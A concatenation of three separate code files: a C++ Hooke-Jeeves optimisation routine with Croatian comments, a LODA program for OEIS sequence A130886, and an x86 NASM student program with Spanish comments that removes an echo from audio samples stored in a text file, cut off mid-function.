initialMove_ = *((double*) sptr.get());
sptr = getParameterValue(state, "localonly");
localOnly_ = *((uint*) sptr.get());
// init pomake i zastavice postupka
sptr = state->getRegistry()->getEntry("population.size");
uint size = *((uint*) sptr.get());
for(uint i = 0; i < size; i++) {
delta_.push_back(initialMove_);
changed_.push_back(true);
converged_.push_back(false);
}
convergedTotal_ = 0;
// batch run check
if(areGenotypesAdded_)
return true;
// procitaj parametre prvog genotipa i prepisi u novi genotip
// (drugi genotip nam treba za operaciju pretrazivanja)
// to sve moze i jednostavnije (npr. s privatnim vektorom genotipa), ali ovako mozemo koristiti i milestone!
sptr = state->getGenotypes()[0]->getParameterValue(state, "dimension");
uint numDimension = *((uint*) sptr.get());
sptr = state->getGenotypes()[0]->getParameterValue(state, "lbound");
lbound_ = *((double*) sptr.get());
sptr = state->getGenotypes()[0]->getParameterValue(state, "ubound");
ubound_ = *((double*) sptr.get());
// stvori i dodaj novi genotip
FloatingPointP fp (static_cast<FloatingPoint::FloatingPoint*> (new FloatingPoint::FloatingPoint));
state->setGenotype(fp);
// ako je lokalna pretraga, stvori i dodaj novi genotip za broj koraka do konvergencije svake jedinke
if(localOnly_) {
FloatingPointP fp2 (static_cast<FloatingPoint::FloatingPoint*> (new FloatingPoint::FloatingPoint));
state->setGenotype(fp2);
fp2->setParameterValue(state, "dimension", (voidP) new uint(1));
fp2->setParameterValue(state, "lbound", (voidP) new double(0));
fp2->setParameterValue(state, "ubound", (voidP) new double(1));
}
// postavi jednake parametre
fp->setParameterValue(state, "dimension", (voidP) new uint(numDimension));
fp->setParameterValue(state, "lbound", (voidP) new double(lbound_));
fp->setParameterValue(state, "ubound", (voidP) new double(ubound_));
// mark adding of genotypes
areGenotypesAdded_ = true;
return true;
}
bool GenHookeJeeves::advanceGeneration(StateP state, DemeP deme)
{
// fitnesi i pomocna jedinka za postupak pretrazivanja (koristimo Fitness objekte tako da radi i za min i max probleme)
FitnessP neighbor[2];
neighbor[0] = (FitnessP) (*deme)[0]->fitness->copy();
neighbor[1] = (FitnessP) (*deme)[0]->fitness->copy();
IndividualP temp (new Individual(state));
uint mutacija = 0;
// vrti isto za sve jedinke
for(uint i = 0; i < deme->size(); i++) {
if(localOnly_ && converged_[i])
continue;
IndividualP ind = deme->at(i);
// bazna tocka:
FloatingPointP x = boost::static_pointer_cast<FloatingPoint::FloatingPoint> (ind->getGenotype(0));
// pocetna tocka pretrazivanja:
FloatingPointP xn = boost::static_pointer_cast<FloatingPoint::FloatingPoint> (ind->getGenotype(1));
FitnessP finalFit;
// je li prva iteracija uz ovaj deltax?
if(changed_[i]) {
xn = (FloatingPointP) x->copy();
changed_[i] = false;
finalFit = (FitnessP) ind->fitness->copy();
}
// ako nije, trebamo evaluirati i pocetnu tocku pretrazivanja
else {
(*temp)[0] = xn;
evaluate(temp);
finalFit = temp->fitness;
}
// pretrazivanje
for(uint dim = 0; dim < x->realValue.size(); dim++) {
xn->realValue[dim] += delta_[i]; // pomak vektora
// ogranicenja: provjeri novu tocku samo ako zadovoljava
if(xn->realValue[dim] <= ubound_) {
(*temp)[0] = xn; // stavimo u pomocnu jedinku
evaluate(temp); // evaluiramo jedinku
neighbor[0] = temp->fitness; // zabiljezimo fitnes
// VARIJANTA A: originalni postupak za unimodalne fje
// ako je drugi bolji, treceg niti ne gledamo
if(neighbor[0]->isBetterThan(finalFit)) {
finalFit = neighbor[0];
continue;
}
}
// onda idemo na drugu stranu
xn->realValue[dim] -= 2 * delta_[i];
// ogranicenja: provjeri novu tocku samo ako zadovoljava
if(xn->realValue[dim] >= lbound_) {
(*temp)[0] = xn;
evaluate(temp);
neighbor[1] = temp->fitness;
// je li treci bolji?
if(neighbor[1]->isBetterThan(finalFit)) {
finalFit = neighbor[1];
continue;
}
}
// ako nije, vrati u sredinu
xn->realValue[dim] += delta_[i]; // vrati u sredinu
continue;
// VARIJANTA B: gledamo sve tri tocke (za visemodalni slucaj)
// odredi najbolju od 3
if(finalFit->isBetterThan(neighbor[0]) && finalFit->isBetterThan(neighbor[1]))
;
else if(neighbor[0]->isBetterThan(neighbor[1])) {
xn->realValue[dim] += delta_[i];
finalFit = neighbor[0];
}
else {
xn->realValue[dim] -= delta_[i];
finalFit = neighbor[1];
}
} // kraj pretrazivanja
// je li tocka nakon pretrazivanja bolja od bazne tocke?
if(finalFit->isBetterThan(ind->fitness)) {
FloatingPointP xnc (xn->copy());
// preslikavanje:
for(uint dim = 0; dim < x->realValue.size(); dim++)
xn->realValue[dim] = 2 * xn->realValue[dim] - x->realValue[dim];
// ogranicenja: pomakni na granicu
for(uint dim = 0; dim < xn->realValue.size(); dim++) {
if(xn->realValue[dim] < lbound_)
xn->realValue[dim] = lbound_;
if(xn->realValue[dim] > ubound_)
xn->realValue[dim] = ubound_;
}
x = xnc; // nova bazna tocka
ind->fitness = finalFit; // ne zaboravimo i novi fitnes
}
// nije, smanji deltax i resetiraj tocku pretrazivanja
else {
delta_[i] /= 2;
xn = (FloatingPointP) x->copy();
changed_[i] = true;
}
// azuriraj genotipe (pointeri u jedinki):
(*ind)[0] = x;
(*ind)[1] = xn;
// dio koji obradjuje samo Hooke-Jeeves (localonly)
if(localOnly_) {
if(converged_[i] == false && changed_[i] == true && delta_[i] < precision_) {
converged_[i] = true;
convergedTotal_++;
// zapisi generaciju u kojoj je jedinka konvergirala
FloatingPointP fp = boost::static_pointer_cast<FloatingPoint::FloatingPoint> (ind->getGenotype(2));
fp->realValue[0] = state->getGenerationNo();
}
if(convergedTotal_ == converged_.size()) {
state->setTerminateCond();
std::cout << "svi konvergirali!" << std::endl;
}
continue; // sljedeca jedinka
}
// ako je jedinka konvergirala (i ako nije trenutno najbolja), stvori novu krizanjem + mutacijom
if(changed_[i] == true && delta_[i] < precision_ && (selBestOp_->select(*deme) != ind)) {
IndividualP first, second;
first = second = selFitPropOp_->select(*deme);
while(second == first)
second = selFitPropOp_->select(*deme);
// VARIJANTA C: slucajni odabir roditelja (umjesto fitness proportional)
// first = second = selRandomOp_->select(*deme);
// while(second == first)
// second = selRandomOp_->select(*deme);
// krizanje, mutacija, evaluacija
mate(first, second, ind);
mutate(ind);
evaluate(ind);
delta_[i] = initialMove_; // ponovo pocetni pomak
}
}
return true;
}
|
; A130886: 4n^4 + 3n^3 + 2n^2 + n + 1.
; 1,11,99,427,1253,2931,5911,10739,18057,28603,43211,62811,88429,121187,162303,213091,274961,349419,438067,542603,664821,806611,969959,1156947,1369753,1610651,1882011,2186299,2526077,2904003,3322831,3785411,4294689,4853707,5465603,6133611,6861061,7651379,8508087,9434803,10435241,11513211,12672619,13917467,15251853,16679971,18206111,19834659,21570097,23417003,25380051,27464011,29673749,32014227,34490503,37107731,39871161,42786139,45858107,49092603,52495261,56071811,59828079,63769987,67903553
mov $2,12
lpb $2
add $1,$2
mul $1,$0
sub $2,3
lpe
div $1,6
mul $1,2
add $1,1
mov $0,$1
|
%include "io.inc"
%include '/home/chus/Arqui1/PruebasSasm/functions.asm'
SECTION .data
entrada_a_leer db '/home/chus/Arqui1/DefensaProgra1/polka_eco.txt', 0h ; Archivo de entrada a leer
archivo_salida db '/home/chus/Arqui1/DefensaProgra1/polka_noeco.txt', 0h ; Archivo de salida para cargar los datos finales
salto_linea db 0ah ; Salta lineas
k dw 2205 ;Se pasa de flotante a binario
alfa dw 153 ;Se pasa alfa de flotante a binario
uno_menosAlfa dw 102 ;Se pasa de flotante a binario
uno_entreUno_menosAlfa dw 640 ;Se pasa de flotante a binario
SECTION .bss
decriptor_entrada: RESB 4 ;Se guardan 4 bytes para l decriptor de entrada
decriptor_salida: RESB 4 ;Se guardan 4 bytes para 1 decriptor de entrada
puntero_lectura: RESD 1 ;Se guardan 4 bytes para el puntero de lectura. 32 bits
valor_numero: RESB 16 ;Se guarda el valor del numero. Guarda lo que lee el archivo
valor_a_escribir: RESB 16 ;Se dice cual valor se va a escribir en la salida
contador_bits: RESB 1 ;Se va a guadar el numero 16 para usarlo en contador y offset en ASCII_To_Bits
guardar_numeros: RESB 4 ;Se guardan 16 bits para guardar los numeros
x_actual: RESB 2 ;Para guardar el resultado de ASCII_To_Num
y_actual: RESB 2 ;Para guardar el resultado de la reverberacion
operandoA: RESD 1 ;22 Bits para el operando A
operandoB: RESD 1 ;22 Bits para el operando B
op_neg: RESB 1 ;Una flag para saber si el resultado de la operacion debe ser negativo
m1: RESD 1 ;Guarda la primera multiplicacion de medium
m2: RESD 1 ;Guarda la segunda multiplicacion de medium
high: RESD 1 ;Se reservan 16 bits para el resultado high de la multiplicacion
medium: RESD 1 ;Se reservan 32 bits para el resultado de medium de la multiplicacion
low: RESD 1 ;Se reservan 16 bits para el resultado de low de la multiplicacion
multi1: RESD 1 ;Se guarda la primera parte de la suma del algoritmo
resultado_multiplicacion: RESD 1;16 Bits para el resultado final de la multiplicacion
buffer: RESW 2205 ;Se reserva la memoria para el buffer
contador_buffer: RESW 1 ;Se reserva la memoria para el contador del buffer
buffer_respaldo: RESW 2205 ;Se usa para siempre tener respaldada del inicio del buffer
contador_k: RESB 1 ;Es el contador para saber cada cuanto reiniciar el buffer
mulf1: RESD 1 ;Se reserva memoria para la primera parte de la formula final
mulf2: RESD 1 ;Se guarda memoria para la segunda parte de la formula final
mulf3: RESD 1 ;Se guarda memoria para la tercera parte de la formula final
section .text
global CMAIN
CMAIN: mov ebp, esp; for correct debugging
;Inicializacion de variables
mov word[puntero_lectura], 0 ;Se inicializa el lugar de lectura del puntero (inicio)
mov byte[contador_bits], 16 ;Se inicializa el valor del contador de bits para ASCII_To_Bits
mov byte[op_neg], 0 ;Se inicializa la flag del signo del resultado
mov word[contador_buffer], 0;Se inicializa el contador del buffer
call Abrir_archivo ;Se llama a la funcion
call Crear_archivo ;Se llama a la funcion
call Main_loop ;Se llama a la funcion
;Bloque principal
Main_loop:
call Leer_archivo ;Se llama a la funcion
call ASCII_To_Num ;Se llama a la conversion
;Esto va en reverberacion
call Reverberacion
;*************************************************************************************************************************
call Num_To_ASCII ;Se llama la funcion
call Escritura_archivo ;Se llama a la funcion
jmp Main_loop ;Se mantiene el ciclo
;Loop que pasa de ASCII a numero con el fin de poder obtener los datos correctos de la lista
;PASOS
;Se lee el valor
;Se le resta el ASCII para obtener el valor real
;Se le realiza un shift a la posicion real del numero (donde va en bits. Primero a la pos 16, segundo 15 etc)
;Lo suma al registro donde se este guardando el numero completo
;Shift logico
ASCII_To_Num:
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov eax, 0 ;Se limpia el valor de eax
mov ebx, 0 ;Se limpia el valor de ecx
mov edx, 0
mov eax, 0 ;Se carga la posicion de memoria de x_actual a eax
call ASCII_To_Num_Aux ;Se llama la funcion auxiliar que realiza el ciclo
mov word[x_actual], ax ;Se guarda el numero final en la posicion temporal x_actual
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
ASCII_To_Num_Aux:
mov edx, 0 ;Se limpia edx
mov ecx, valor_numero ;Se carga el archivo ya leido en el registro ecx. Posicion de memoria
add ecx, ebx ;Se incrementa el puntero para decirle donde debe leer
mov dl, byte[ecx] ;Se carga el valor de la posicion de memoria actual a bl
mov cl, 15 ;Contador para manejar lo shifts
sub dl, 48 ;Se le resta 48 en ASCII para sacar el verdadero valor del binario (0 o 1)
sub ecx, ebx ;Se maneja el contador de shifts al restarse en ecx
shl edx, cl ;Se shiftea el puntero para colocar el numero donde corresponde
inc ecx ;Se aumenta ecx en 1 para el subs de edx
add eax, edx ;Se guarda el valor en la lista donde corresponde
inc ebx ;Se va a la siguiente posicion de memoria de valor_numero
cmp ebx, 15 ;Se hace el comper a ver si se termia el loop
jz salir_ciclo ;Se sale del ciclo
jmp ASCII_To_Num_Aux ;Se sigue el ciclo
;Para el valor de X_actual a ASCII para escribirlo en el nuevo documento
;Agarrar el numero, hacerle division entre dos y al resultado sumarle 48, luego guardarlo en el y_actual
Num_To_ASCII:
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov eax, 0 ;Se limpia el valor de eax
mov ebx, 16 ;Se limpia el valor de ecx
mov edx, 0
mov eax, 0 ;Se carga la posicion de memoria de x_actual a eax
mov eax, [y_actual] ;Se mueve la de memoria ecx
call Num_To_ASCII_aux ;Se llama la funcion auxiliar que realiza el ciclo
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
Num_To_ASCII_aux:
sub ebx, 1 ;Se resta el contador de lectura y el contador para terminar el ciclo
mov edx, 0 ;Se limpia edx
mov ecx, valor_a_escribir;Se mueve el lugar en donde va a escribir
add ecx, ebx ;Se incrementa el puntero para decirle donde debe escribir
push ebx
mov ebx, 0 ;Se limpia ebx
mov edx, 0 ;Se limpia edx para la division
mov ebx, 2 ;Se mueve el divisor a eax
div ebx ;Se hace la division ebx/eax
pop ebx ;Se restaura ebx
add edx, 48 ;Se le suma 48 al residuo, asi se obtiene 49 = 1 o 48 = 0
mov byte[ecx],dl ;Se guarda el valor en la posicion de memoria donde se va a escribir
cmp ebx, 0 ;Se revisa si ya termino de leer el valor
jz salir_ciclo ;Se retorna al loop principal
jmp Num_To_ASCII_aux ;Se sigue el ciclo
;Funcion que realiza la multiplicacion. Pasos:
;No se pueden hacer multiplicaciones a numeros que tengan complemento a dos
;Se tiene que manejar multiplicacion con numeros negativos, positivos, de todo con todo. Saber como queda el signo.
;Se tiene que separar en l y h, ya que son 16 bits 8 y 8. Se meten en un registor y l llama los primeros 8 y h los segundos 8
;Se quitan los complementos, se realiza la operacion, se tiene que ver si se debe cambiar de signo al resultado final (mult * -1)
;El resultado es el resultado de la multiplicacion
Multiplicacion:
;Parte principal de la funcion
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se le hace push al registro
mov ecx,0 ;Se le hace push al registro
mov ebx,0 ;Se le hace push al registro
mov eax,0 ;Se le hace push al registro
;Primera parte del algoritmo, revision del bit mas significativo y si se le debe quitar el complemento 2 o no
mov eax, [operandoA] ;Se carga el valor del y_actual que se va a multiplicar con punto fijo
mov ecx, eax ;Respaldo el valor de y_actual para despues de haberlo destruido
mov ebx, 16
call Revisar_msb ;Se revisa si se le tiene que quitar el complemento 2 al numero o se puede seguir normal
mov dword[operandoA], ecx;Se retorna el, ya sea con complemento 2 o sin el, dependiendo del caso
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
mov eax, [operandoB] ;Se carga el valor del y_actual que se va a multiplicar con punto fijo
mov ecx, eax ;Respaldo el valor de y_actual para despues de haberlo destruido
mov ebx, 16
call Revisar_msb ;Se revisa si se le tiene que quitar el complemento 2 al numero o se puede seguir normal
mov dword[operandoB], ecx;Se retorna el, ya sea con complemento 2 o sin el, dependiendo del caso
;***********************************************************************************************
;Segunda parte del algoritmo, realiza la multiplicacion y el algoritmo de puntos flotantes.
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se le hace push al registro
mov ecx,0 ;Se le hace push al registro
mov ebx,0 ;Se le hace push al registro
mov eax,0 ;Se le hace push al registro
mov edx, [operandoA] ;Se prepara el operandoA a multiplicar. En este caso dh = a y dl = b
mov ecx, [operandoB] ;Se prepara el operandoB a multiplicar. En este caso ch = c y cl = d
call Manejar_multi ;Se realiza el algoritmo de multiplicacion
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
;Tercera parte del algoritmos, se verifica si se le debe cambiar el signo final al resultado
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se le hace push al registro
mov ecx,0 ;Se le hace push al registro
mov ebx,0 ;Se le hace push al registro
mov eax,0 ;Se le hace push al registro
mov cl, byte[op_neg] ;Se carga el flag a cl
mov eax, [resultado_multiplicacion];
call Revisar_signo ;Se revisa si se le debe cambiar el signo al resultado final
mov dword[resultado_multiplicacion], eax; Se restaura con el valor final, ya sea si se fue a comp2 o no
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
push ecx ;Se guarda el valor del registro
mov ecx, 0 ;Se limpia el registro
mov byte[op_neg], 0 ;Se reinicia el contador con el registro limpio
pop ecx ;Se saca ecx del stack
ret
;*******************************************************************************************************
Manejar_multi:
mov ebx, 0 ;Se limpia el registro ebx
mov bl, dh ;Se mueven 8 bits a bl, los cuales representan A en el algoritmo
mov eax, 0 ;Se limpia ecx
mov al, ch ;Se mueven 8 bits al ah, los cuales representan a C en el algoritmo
push edx ;Para guardar el edx
mul ebx ;Se realiza la multiplicacion de eax y ebx, pero con solo ah y bh
pop edx ;Se recupera edx
mov dword[high], eax ;Se guarda el high de la multiplicacion
mov ebx, 0 ;Se limpia el registro ebx
mov bl, dl ;Se mueven 8 bits a bl, los cuales representan a B en el algoritmo
mov eax, 0 ;Se limpia ecx
mov al, cl ;Se mueven 8 bits al al, los cuales representan a D en el algoritmo
push edx ;Para guardar el edx
mul ebx ;Se realiza la multiplicacion de eax y ebx, pero con solo ah y bh
pop edx ;Se recupera edx
mov dword[low], eax ;Se guarda el resultado de low
mov ebx, 0 ;Se limpia ebx
mov bl, dh ;Se mueven 8 bits a bl, los cuales representan A en el algoritmo
mov eax, 0 ;Se limpia ecx
mov al, cl ;Se mueven 8 bits al al, los cuales representan a D en el algoritmo
push edx ;Para guardar el edx
mul ebx ;Se realiza la multiplicacion de eax y ebx
pop edx ;Se recupera edx
mov dword[m1], eax ;Se guarda el resultado de m1, la primera parte de medium
mov ebx, 0 ;Se limpia el registro ebx
mov bl, dl ;Se mueven 8 bits a bl, los cuales representan a B en el algoritmo
mov eax, 0 ;Se limpia ecx
mov al, ch ;Se mueven 8 bits al ah, los cuales representan a C en el algoritmo
push edx ;Para guardar el edx
mul ebx ;Se realiza la multiplicacion de eax y ebx.
pop edx ;Se recupera edx
mov dword[m2], eax ;Se guarda el resultado de m2, la primera parte de medium
mov ebx, 0 ;Se limpia el registro ebx
mov eax, 0 ;Se limpia ecx
mov bx, [m1] ;Se mueve la primera parte de medium a bx
mov ax, [m2] ;Se mueve la segunda parte de medium a ax
add ebx, eax ;Se suma y se obtiene medium completo
mov dword[medium], ebx ;Se guarda el medium completo en la variable
mov ebx, 0 ;Se limpia el registro ebx
mov ecx, 0 ;Se limpia el registro ebx
mov ebx, [high] ;Se guarda el valor de high en ebx
mov cl, 8 ;Se guarda 8 en cl para hacer el shift posteriormente
shl ebx, cl ;Se realiza el shift correspondiente al algoritmo
mov dword[high], ebx ;Se guarda el valor de high ahora con shift
mov ebx, 0 ;Se limpia el registro ebx
mov ecx, 0 ;Se kimpia el registro ecx
mov ebx, [low] ;Se guarda el valor de low en ebx
mov cl, 8 ;Se guarda 8 en cl para hacer el shift posteriormente
shr ebx, cl ;Se guarda realiza el shift correspondiente al algoritmo
mov dword[low], ebx ;Se guarda el valor de high ahora con shift
mov ebx, 0 ;Se limpia el registro ebx
mov ecx, 0 ;Se limpia el registro ecx
mov ebx, [low] ;Se guarda el valor de low en ebx
mov ecx, [high] ;Se guarda el valor de high en ecx
add ebx, ecx ;Se suman low y high
mov dword[multi1], ebx ;Se guarda el resultado de high y low
mov ebx, 0 ;Se limpia el registro ebx
mov ecx, 0 ;Se kimpia el registro ecx
mov ebx, [medium] ;Se carga el resultado de medium en ebx
mov ecx, [multi1] ;Se carga lo que habia dado high+low
add ebx, ecx ;Se suma (high+low) + medium
mov dword[resultado_multiplicacion], ebx; Se guarda el resultado final de la multiplicacion en su variable
ret
Revisar_msb:
sub ebx, 1 ;Se resta el contador de lectura y el contador para terminar el ciclo
mov edx, 0 ;Se limpia edx
push ebx ;Se guarda ebx en el stack
mov ebx, 0 ;Se limpia ebx
mov edx, 0 ;Se limpia edx para la division
mov ebx, 2 ;Se mueve el divisor a eax
div ebx ;Se hace la division ebx/eax
pop ebx ;Se saca ebx del stack para recuperar el contador
cmp ebx, 1 ;Se revisa si ya se llego al bit 16
jz Comparar_msb ;Se va a analizar si el bit 16 es 1
jmp Revisar_msb ;Se sigue el ciclo hasta llegar al bit 16
Comparar_msb:
cmp eax,1
jz Quitar_complemento2 ;Se detecto un numero de complemento 2, por lo tando se debe ir a quitar dicho estado
ret ;El numero analizado no tiene complemento 2, se vuelve a la funcion principal
;Le quita el complemento a los operandos
Quitar_complemento2:
XOR ecx, 0xffff ;Se hace un XOR de FFFF hexa = 1111 1111 1111 1111 binario
add ecx, 1 ;Se le suma 1 para terminar el complemento 2
push ecx ;Se pushea ecx
mov ecx, 0 ;Se limpia ecx
mov ecx, [op_neg] ;Se carga la flag a ecx
xor ecx, 1 ;Se le hace xor a ecx con 1 para alterar su valor
mov byte[op_neg], cl ;Se actualiza el valor de la flag
pop ecx ;Se restaura ecx
ret ;Vuelve a la call de la llamada inicial
Revisar_signo:
cmp ecx, 1 ;Se revisa la flag de signo a ver si se debe cambiar el signo al resultado final
jz Quita_complemento2F ;Se va a cambiar el resultado
ret ;No se tuvo que aplicar el cambio
Quita_complemento2F:
XOR eax, 0xffff ;Se hace un XOR de FFFF hexa = 1111 1111 1111 1111 binario
add eax, 1 ;Se le suma 1 para terminar el complemento 2
ret
;Se recorre con el puntero los primeros 4410 bytes (2205 words)
;Se le hace lo que se le tenga que hacer al valor para luego actualizarlo en la posicion de donde se saco
;Se sigue hasta llegar a k
;Al llegar al 4410 se reinicia el puntero a 0
;Se repite el ciclo hasta el final de la lista
Buffer:
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se le hace push al registro
mov ecx,0 ;Se le hace push al registro
mov ebx,0 ;Se le hace push al registro
mov eax,0 ;Se le hace push al registro
mov cx, word[contador_buffer];Se carga el contador que me dice por donde va guardando el buffer
mov eax, buffer ;Se carga la etiqueta buffer
add eax, ecx ;Se le dice a donde se va a guardar dentro del buffer
mov bx, word[x_actual] ;Se guarda y actual en la posicion del buffer correspondiente
mov word[eax], bx ;Se guarda bx en la direccion de la lista n, ya que eax tiene la direccion
add ecx, 2 ;Se le suma 2 al contador de posiciones en el buffer
mov word[contador_buffer], cx;Se actualiza el contador
cmp ecx, 4410 ;Se compara si ya se debe reiniciar la posicion del buffer
jz Buffer_reset ;Se va a reiniciar el buffer
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret ;Se retorna
Buffer_reset:
mov ecx, 0 ;Se mueve el 0 a ecx
mov word[contador_buffer], cx;Se reinicia el contador
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
;PARA ESTE ARCHIVO ESTA FUNCION SE ENCARGA DE *QUITAR* LA REVERBERACION
Reverberacion:
;Primera parte de la multiplicacion para x_actual
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
mov ax, word[x_actual] ;Se carga el primer operando en eax
mov bx, word[uno_entreUno_menosAlfa] ;Se carga el segundo operando a ebx, la direccion de memoria de la variable
mov dword[operandoA], eax ;Se cargan los valoresn para la multiplicacion
mov dword[operandoB], ebx ;Se cargan los valores para la multiplicacion
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
call Multiplicacion ;Se llama al algoritmo de multiplicacion
mov ecx, dword[resultado_multiplicacion] ;Se carga lo que sea que diera la multiplicacion a ecx
mov dword[mulf1], ecx ;1/(1-a)*x(n) es este resultado
;*************************************************************************************************************
;Parte 2 de la multiplicacion
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
mov cx, word[contador_buffer];Se carga el contador que me dice por donde va guardando el buffer
mov eax, buffer ;Se carga la etiqueta buffer
add eax, ecx ;Se le dice a donde se va a guardar dentro del buffe
mov bx, word[alfa] ;Se carga el segundo operando a ebx, la direccion de memoria de la variable
mov ecx, 0
mov cx, word[eax] ;Se cargan los valoresn para la multiplicacion
mov dword[operandoA], ecx
mov dword[operandoB], ebx ;Se cargan los valores para la multiplicacion
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
call Multiplicacion
mov ecx, dword[resultado_multiplicacion] ;Se carga lo que sea que diera la multiplicacion a ecx
mov dword[mulf2], ecx ;a*x(n-k) es este resultado
;*******************************************************************************************************************8
;Tercera parte de la multiplicacion para X_actual
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
mov eax, dword[mulf2] ;Se carga el primer operando en eax
mov bx, word[uno_entreUno_menosAlfa] ;Se carga el segundo operando a ebx, la direccion de memoria de la variable
mov dword[operandoA], eax ;Se cargan los valoresn para la multiplicacion
mov dword[operandoB], ebx ;Se cargan los valores para la multiplicacion
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
call Multiplicacion
mov ecx, dword[resultado_multiplicacion] ;Se carga lo que sea que diera la multiplicacion a ecx
mov dword[mulf3], ecx ;a*x(n-k) es este resultado
mov eax, 0
mov edx, dword[mulf1] ;Se carga mulf1
mov eax, dword[mulf3] ;Se carga mulf2
call Quita_complemento2F ;Se pone en negativo a mulf3
add edx, eax ;Se resta edx con ebx, los cuales son mulf1 mulf3
mov word[y_actual], dx ;Se guarda la salida
call Buffer ;Se llama al buffer
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
;Se abre un archivo(entrada)
Abrir_archivo:
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov ecx, 0 ; Permiso para leer
mov ebx, entrada_a_leer ; Se abre el archivo para leer
mov eax, 5 ; Me devuelve el decriptor para la entrada.Ejecuta la op 5 (open file)
int 80h ; llamada al kernel
mov [decriptor_entrada], eax ;Se guarda el decriptor de entrada
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
ret ;Se vuelve al call
;Se crea un archivo(salida)
Crear_archivo:
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov ecx, 0777o ;Permiso de leer, escribir y ejecutar. Sale un decriptor
;el decriptor sabe cual es el que sabe a que archivo voy a tocar
mov ebx, archivo_salida
mov eax, 8 ;Haga system_create al archivo. Crea decriptor
int 80h ;Llamada al kernel
mov [decriptor_salida], eax ;Se mueve el decriptor a la variable
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
ret ;Se vuelve al call
;Funcion para leer(entrada)
;EL bit 17 es \n, los primeros 16 son los que me interesan
Leer_archivo:
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx,0 ;Se limpia el registro
mov ecx,0 ;Se limpia el registro
mov ebx,0 ;Se limpia el registro
mov eax,0 ;Se limpia el registro
;Bloque de codigo de puntero(mueve el puntero el archivo, tanto lectura como escritura)
mov edx, 0 ; Le dice donde se ubica el puntero en el archivo al comenzar la lectura
mov ecx, dword[puntero_lectura] ; Se mueve el offset del puntero a ecx
mov ebx, [decriptor_entrada]; Se mueve lo que tiene el decriptor_entrada a ebx
mov eax, 19 ; invoque el kernel el 19
int 80h ; Se llama el kernel
mov edx, 16 ; Cantidad de bytes a leer (debido a que lo guarde en binario)
mov ecx, valor_numero ; Aqui se guarda lo que se lea en esta funcion
mov ebx, [decriptor_entrada] ;Se guarda lo que esta en la memoria del decriptor en ebx
mov eax, 3 ; Invoca el sistema read
int 80h ; call the kernel
mov edx, dword[puntero_lectura];Se le asigna a edx el valor de puntero_lectura(0 inicialmente)
add edx, 17 ;Se le suma 17 al puntero, con el fin de ir recorriedo solo los bits deseados
mov dword[puntero_lectura],edx;Se actualiza el valor del puntero
cmp eax, 0
jz terminar
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
;Se escribe en el archivo(salida)
Escritura_archivo:
;Este bloque escribe el dato
push edx ;Se le hace push al registro
push ecx ;Se le hace push al registro
push ebx ;Se le hace push al registro
push eax ;Se le hace push al registro
mov edx, 16 ; Voy a escribir la salida en binarios
mov ecx, valor_a_escribir;Le dice el valor que va a escribir en salida. La direccion
mov ebx, [decriptor_salida]; Se le dice en donde va a escribir gracias al descriptor
mov eax, 4 ; Sys_write
int 80h
;Este bloque hace la separacion de los datos \n
mov edx, 1 ; Voy a escribir la salida en binarios
mov ecx, salto_linea ;Le dice el valor que va a saltar a la otra salida. La direccion
